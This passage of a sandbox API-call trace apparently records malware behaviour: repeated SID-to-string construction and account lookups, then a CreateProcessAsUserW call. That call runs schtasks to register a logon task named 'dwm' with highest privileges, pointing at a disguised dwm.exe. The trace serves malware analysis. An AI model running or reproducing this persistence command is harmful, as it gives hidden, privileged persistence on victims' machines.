returned 0x2 [0105.807] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aa838, _Size=0xe | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0105.807] memcpy (in: _Dst=0x196ee7aa9f4, _Src=0x196ee7aa658, _Size=0x6 | out: _Dst=0x196ee7aa9f4) returned 0x196ee7aa9f4 [0105.807] free (_Block=0x196ef0d1f00) [0105.807] free (_Block=0x196ef0d1f40) [0105.807] GetSidSubAuthority (pSid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d14ac [0105.807] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0105.807] malloc (_Size=0x18) returned 0x196ef0d2000 [0105.807] malloc (_Size=0x18) returned 0x196ef0d1da0 [0105.807] SysStringLen (param_1="S-1-5-21") returned 0x8 [0105.808] SysStringLen (param_1="-") returned 0x1 [0105.808] memcpy (in: _Dst=0x196ee7aa658, _Src=0x196ee7aa9e8, _Size=0x12 | out: _Dst=0x196ee7aa658) returned 0x196ee7aa658 [0105.808] memcpy (in: _Dst=0x196ee7aa668, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7aa668) returned 0x196ee7aa668 [0105.808] free (_Block=0x196ef0d1fa0) [0105.808] free (_Block=0x196ef0d2000) [0105.808] malloc (_Size=0x18) returned 0x196ef0d1b40 [0105.808] malloc (_Size=0x18) returned 0x196ef0d20a0 [0105.808] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0105.808] SysStringLen (param_1="1560258661") returned 0xa [0105.808] memcpy (in: _Dst=0x196ee7771b8, _Src=0x196ee7aa658, _Size=0x14 | out: _Dst=0x196ee7771b8) returned 0x196ee7771b8 [0105.808] memcpy (in: _Dst=0x196ee7771ca, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee7771ca) returned 0x196ee7771ca [0105.808] free (_Block=0x196ef0d1da0) [0105.808] free (_Block=0x196ef0d1b40) [0105.808] GetSidSubAuthority (pSid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d14b0 [0105.808] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0105.808] malloc (_Size=0x18) returned 0x196ef0d1a20 [0105.808] malloc (_Size=0x18) returned 0x196ef0d1e60 [0105.808] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0105.808] SysStringLen (param_1="-") returned 0x1 [0105.808] memcpy (in: _Dst=0x196ee777ca8, _Src=0x196ee7771b8, _Size=0x28 | out: _Dst=0x196ee777ca8) returned 0x196ee777ca8 [0105.808] memcpy (in: _Dst=0x196ee777cce, _Src=0x196ee7aa658, _Size=0x4 | out: _Dst=0x196ee777cce) returned 0x196ee777cce [0105.808] free (_Block=0x196ef0d20a0) [0105.809] free (_Block=0x196ef0d1a20) [0105.809] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0105.809] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0105.809] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0105.809] SysStringLen (param_1="3990802383") returned 0xa [0105.809] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee777ca8, _Size=0x2a | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0105.809] memcpy (in: _Dst=0x196ee7ba860, _Src=0x196ee7aa658, _Size=0x16 | out: _Dst=0x196ee7ba860) returned 0x196ee7ba860 [0105.809] free (_Block=0x196ef0d1e60) [0105.809] free (_Block=0x196ef0d1fc0) [0105.809] GetSidSubAuthority (pSid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d14b4 [0105.809] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0105.810] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0105.810] malloc (_Size=0x18) returned 0x196ef0d1a80 [0105.810] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0105.810] SysStringLen (param_1="-") returned 0x1 [0105.810] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x3e | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0105.810] memcpy (in: _Dst=0x196ee7bbb94, _Src=0x196ee7aa658, _Size=0x4 | out: _Dst=0x196ee7bbb94) returned 0x196ee7bbb94 [0105.810] free (_Block=0x196ef0d1cc0) [0105.812] free (_Block=0x196ef0d1ce0) [0105.812] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0105.812] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0105.812] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0105.812] SysStringLen (param_1="1811730007") returned 0xa [0105.812] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x40 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0105.812] memcpy (in: _Dst=0x196ee7ba876, _Src=0x196ee7aa658, _Size=0x16 | out: _Dst=0x196ee7ba876) returned 0x196ee7ba876 [0105.812] free (_Block=0x196ef0d1a80) [0105.812] free (_Block=0x196ef0d1ba0) [0105.812] GetSidSubAuthority (pSid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d14b8 [0105.812] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0105.812] malloc (_Size=0x18) returned 0x196ef0d20a0 [0105.813] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0105.813] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0105.813] SysStringLen (param_1="-") returned 0x1 [0105.813] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x54 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0105.813] memcpy (in: _Dst=0x196ee7bbbaa, _Src=0x196ee7aa658, _Size=0x4 | out: _Dst=0x196ee7bbbaa) returned 0x196ee7bbbaa [0105.813] free (_Block=0x196ef0d1fa0) [0105.813] free (_Block=0x196ef0d20a0) [0105.813] malloc (_Size=0x18) returned 0x196ef0d1b20 [0105.813] malloc (_Size=0x18) returned 0x196ef0d1de0 [0105.813] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0105.813] SysStringLen (param_1="1000") returned 0x4 [0105.813] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x56 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0105.813] memcpy (in: _Dst=0x196ee7ba88c, _Src=0x196ee7aa658, _Size=0xa | out: _Dst=0x196ee7ba88c) returned 0x196ee7ba88c [0105.813] free (_Block=0x196ef0d1ec0) [0105.813] free (_Block=0x196ef0d1b20) [0105.813] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0105.813] malloc (_Size=0x5e) returned 0x196ef0d0530 [0105.813] free (_Block=0x196ef0d1de0) [0105.813] malloc (_Size=0x18) returned 0x196ef0d1a20 [0105.814] free (_Block=0x196ef0d0530) [0105.814] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0105.815] GetLastError () returned 0x7a [0105.815] malloc (_Size=0x1a) returned 0x196ef0f9b80 [0105.815] malloc (_Size=0xe) returned 0x196ef0d1ba0 [0105.815] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9b80, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1ba0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0105.816] malloc (_Size=0x18) returned 0x196ef0d1d80 [0105.816] malloc (_Size=0x18) returned 0x196ef0d1d00 [0105.816] free (_Block=0x196ef0f9b80) [0105.816] free (_Block=0x196ef0d1ba0) [0105.817] free (_Block=0x196ef0f9b50) [0105.817] free (_Block=0x196ef0d1d00) [0105.817] free (_Block=0x196ef0d1d80) [0105.817] free (_Block=0x196ef0d1a20) [0105.817] free (_Block=0x196ef0d1490) [0105.817] SetEvent (hEvent=0x248) returned 1 [0105.818] free (_Block=0x196ef0d5eb0) [0105.818] CreateEnvironmentBlock () returned 0x1 [0105.823] malloc (_Size=0x18) returned 0x196ef0d20a0 [0105.823] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"dwm\" /sc ONLOGON /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"dwm\" /sc ONLOGON /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x1210, dwThreadId=0x1218)) returned 1 [0105.832] CloseHandle (hObject=0x260) returned 1 [0105.832] CloseHandle (hObject=0x264) returned 1 [0105.833] free (_Block=0x196ef0d20a0) [0105.833] DestroyEnvironmentBlock () returned 0x1 [0105.833] malloc (_Size=0x48) returned 0x196ef0d5d20 [0105.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x1fef7048, dwHighDateTime=0x1d9eb0c)) [0105.833] SetEvent (hEvent=0x248) returned 1 [0105.834] CloseHandle (hObject=0x270) returned 1 [0105.834] CloseHandle (hObject=0x26c) returned 1 [0105.838] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788250 [0105.839] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788250, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0105.839] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0105.839] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0107.042] RtlRestoreLastWin32Error () returned 0x670dbf000 [0107.042] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0107.042] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0107.042] RtlRestoreLastWin32Error () returned 0x670dbf000 [0107.042] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10) returned 1 [0107.042] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0107.042] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0107.042] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0107.042] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0107.042] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0107.045] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0107.046] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0107.046] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0107.046] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0107.046] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0107.049] GetCurrentThread () returned 0xfffffffffffffffe [0107.049] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x26c) returned 1 [0107.049] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x270) returned 1 [0107.049] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0107.049] GetLastError () returned 0x7a [0107.049] malloc (_Size=0x2c) returned 0x196ef0d0f90 [0107.049] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0f90, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0f90, ReturnLength=0x67117c740) returned 1 [0107.049] IsValidSid (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0107.049] GetLengthSid (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0107.049] malloc (_Size=0x1c) returned 0x196ef0f9b80 [0107.050] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9b80, pSourceSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9b80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0107.050] GetSidIdentifierAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0fa2 [0107.050] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0107.050] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0107.050] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0107.050] malloc (_Size=0x18) returned 0x196ef0d1e80 [0107.050] SysStringLen (param_1="S-1-") returned 0x4 [0107.050] SysStringLen (param_1="5") returned 0x1 [0107.050] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7c7678, _Size=0xa | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0107.050] memcpy (in: _Dst=0x196ee7aa9c0, _Src=0x196ee79a188, _Size=0x4 | out: _Dst=0x196ee7aa9c0) returned 0x196ee7aa9c0 [0107.050] free (_Block=0x196ef0d1ac0) [0107.050] free (_Block=0x196ef0d1bc0) [0107.050] GetSidSubAuthorityCount (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0fa1 [0107.050] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0fa8 [0107.050] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0107.050] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0107.050] malloc (_Size=0x18) returned 0x196ef0d1f00 [0107.050] SysStringLen (param_1="S-1-5") returned 0x5 [0107.050] SysStringLen (param_1="-") returned 0x1 [0107.050] memcpy (in: _Dst=0x196ee79a188, _Src=0x196ee7aa9b8, _Size=0xc | out: _Dst=0x196ee79a188) returned 0x196ee79a188 [0107.051] memcpy (in: _Dst=0x196ee79a192, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee79a192) returned 0x196ee79a192 [0107.051] free (_Block=0x196ef0d1e80) [0107.051] free (_Block=0x196ef0d1cc0) [0107.051] malloc (_Size=0x18) returned 0x196ef0d2020 [0107.051] malloc (_Size=0x18) returned 0x196ef0d19a0 [0107.051] SysStringLen (param_1="S-1-5-") returned 0x6 [0107.051] SysStringLen (param_1="21") returned 0x2 [0107.051] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee79a188, _Size=0xe | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0107.051] memcpy (in: _Dst=0x196ee7c7684, _Src=0x196ee7aa9b8, _Size=0x6 | out: _Dst=0x196ee7c7684) returned 0x196ee7c7684 [0107.051] free (_Block=0x196ef0d1f00) [0107.051] free (_Block=0x196ef0d2020) [0107.051] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0fac [0107.051] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0107.051] malloc (_Size=0x18) returned 0x196ef0d19c0 [0107.051] malloc (_Size=0x18) returned 0x196ef0d20e0 [0107.051] SysStringLen (param_1="S-1-5-21") returned 0x8 [0107.051] SysStringLen (param_1="-") returned 0x1 [0107.051] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7c7678, _Size=0x12 | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0107.051] memcpy (in: _Dst=0x196ee7aa9c8, _Src=0x196ee79a188, _Size=0x4 | out: _Dst=0x196ee7aa9c8) returned 0x196ee7aa9c8 [0107.051] free (_Block=0x196ef0d19a0) [0107.052] free (_Block=0x196ef0d19c0) [0107.052] malloc (_Size=0x18) returned 0x196ef0d1c20 [0107.052] malloc (_Size=0x18) returned 0x196ef0d19c0 [0107.052] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0107.052] SysStringLen (param_1="1560258661") returned 0xa [0107.052] memcpy (in: _Dst=0x196ee777f78, _Src=0x196ee7aa9b8, _Size=0x14 | out: _Dst=0x196ee777f78) returned 0x196ee777f78 [0107.052] memcpy (in: _Dst=0x196ee777f8a, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee777f8a) returned 0x196ee777f8a [0107.052] free (_Block=0x196ef0d20e0) [0107.052] free (_Block=0x196ef0d1c20) [0107.052] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0fb0 [0107.052] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0107.052] malloc (_Size=0x18) returned 0x196ef0d1c60 [0107.052] malloc (_Size=0x18) returned 0x196ef0d1a20 [0107.052] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0107.052] SysStringLen (param_1="-") returned 0x1 [0107.052] memcpy (in: _Dst=0x196ee777258, _Src=0x196ee777f78, _Size=0x28 | out: _Dst=0x196ee777258) returned 0x196ee777258 [0107.052] memcpy (in: _Dst=0x196ee77727e, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee77727e) returned 0x196ee77727e [0107.052] free (_Block=0x196ef0d19c0) [0107.052] free (_Block=0x196ef0d1c60) [0107.052] malloc (_Size=0x18) returned 0x196ef0d1f40 [0107.052] malloc (_Size=0x18) returned 0x196ef0d1e80 [0107.052] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0107.053] SysStringLen (param_1="3990802383") returned 0xa [0107.053] memcpy (in: _Dst=0x196ee7ad318, _Src=0x196ee777258, _Size=0x2a | out: _Dst=0x196ee7ad318) returned 0x196ee7ad318 [0107.053] memcpy (in: _Dst=0x196ee7ad340, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee7ad340) returned 0x196ee7ad340 [0107.053] free (_Block=0x196ef0d1a20) [0107.053] free (_Block=0x196ef0d1f40) [0107.053] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0fb4 [0107.053] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0107.053] malloc (_Size=0x18) returned 0x196ef0d1d00 [0107.053] malloc (_Size=0x18) returned 0x196ef0d1f40 [0107.053] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0107.053] SysStringLen (param_1="-") returned 0x1 [0107.053] memcpy (in: _Dst=0x196ee7aca58, _Src=0x196ee7ad318, _Size=0x3e | out: _Dst=0x196ee7aca58) returned 0x196ee7aca58 [0107.053] memcpy (in: _Dst=0x196ee7aca94, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aca94) returned 0x196ee7aca94 [0107.053] free (_Block=0x196ef0d1e80) [0107.053] free (_Block=0x196ef0d1d00) [0107.053] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0107.053] malloc (_Size=0x18) returned 0x196ef0d2080 [0107.053] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0107.053] SysStringLen (param_1="1811730007") returned 0xa [0107.053] memcpy (in: _Dst=0x196ee7ad318, _Src=0x196ee7aca58, _Size=0x40 | out: _Dst=0x196ee7ad318) returned 0x196ee7ad318 [0107.053] memcpy (in: _Dst=0x196ee7ad356, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee7ad356) returned 0x196ee7ad356 [0107.054] free (_Block=0x196ef0d1f40) [0107.054] free (_Block=0x196ef0d1ec0) [0107.054] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0fb8 [0107.054] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0107.054] malloc (_Size=0x18) returned 0x196ef0d20c0 [0107.054] malloc (_Size=0x18) returned 0x196ef0d1c60 [0107.054] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0107.054] SysStringLen (param_1="-") returned 0x1 [0107.054] memcpy (in: _Dst=0x196ee7aca58, _Src=0x196ee7ad318, _Size=0x54 | out: _Dst=0x196ee7aca58) returned 0x196ee7aca58 [0107.054] memcpy (in: _Dst=0x196ee7acaaa, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7acaaa) returned 0x196ee7acaaa [0107.054] free (_Block=0x196ef0d2080) [0107.054] free (_Block=0x196ef0d20c0) [0107.054] malloc (_Size=0x18) returned 0x196ef0d1f20 [0107.054] malloc (_Size=0x18) returned 0x196ef0d1f40 [0107.054] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0107.054] SysStringLen (param_1="1000") returned 0x4 [0107.054] memcpy (in: _Dst=0x196ee7ad318, _Src=0x196ee7aca58, _Size=0x56 | out: _Dst=0x196ee7ad318) returned 0x196ee7ad318 [0107.054] memcpy (in: _Dst=0x196ee7ad36c, _Src=0x196ee7aa9b8, _Size=0xa | out: _Dst=0x196ee7ad36c) returned 0x196ee7ad36c [0107.054] free (_Block=0x196ef0d1c60) [0107.054] free (_Block=0x196ef0d1f20) [0107.055] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0107.055] malloc (_Size=0x5e) returned 0x196ef0d0370 [0107.055] free (_Block=0x196ef0d1f40) [0107.055] malloc (_Size=0x18) returned 0x196ef0d1a40 [0107.055] free (_Block=0x196ef0d0370) [0107.055] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0107.057] GetLastError () returned 0x7a [0107.057] malloc (_Size=0x1a) returned 0x196ef0f9f70 [0107.057] malloc (_Size=0xe) returned 0x196ef0d1b20 [0107.058] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9f70, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1b20, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0107.059] malloc (_Size=0x18) returned 0x196ef0d20e0 [0107.059] malloc (_Size=0x18) returned 0x196ef0d1b40 [0107.059] free (_Block=0x196ef0f9f70) [0107.059] free 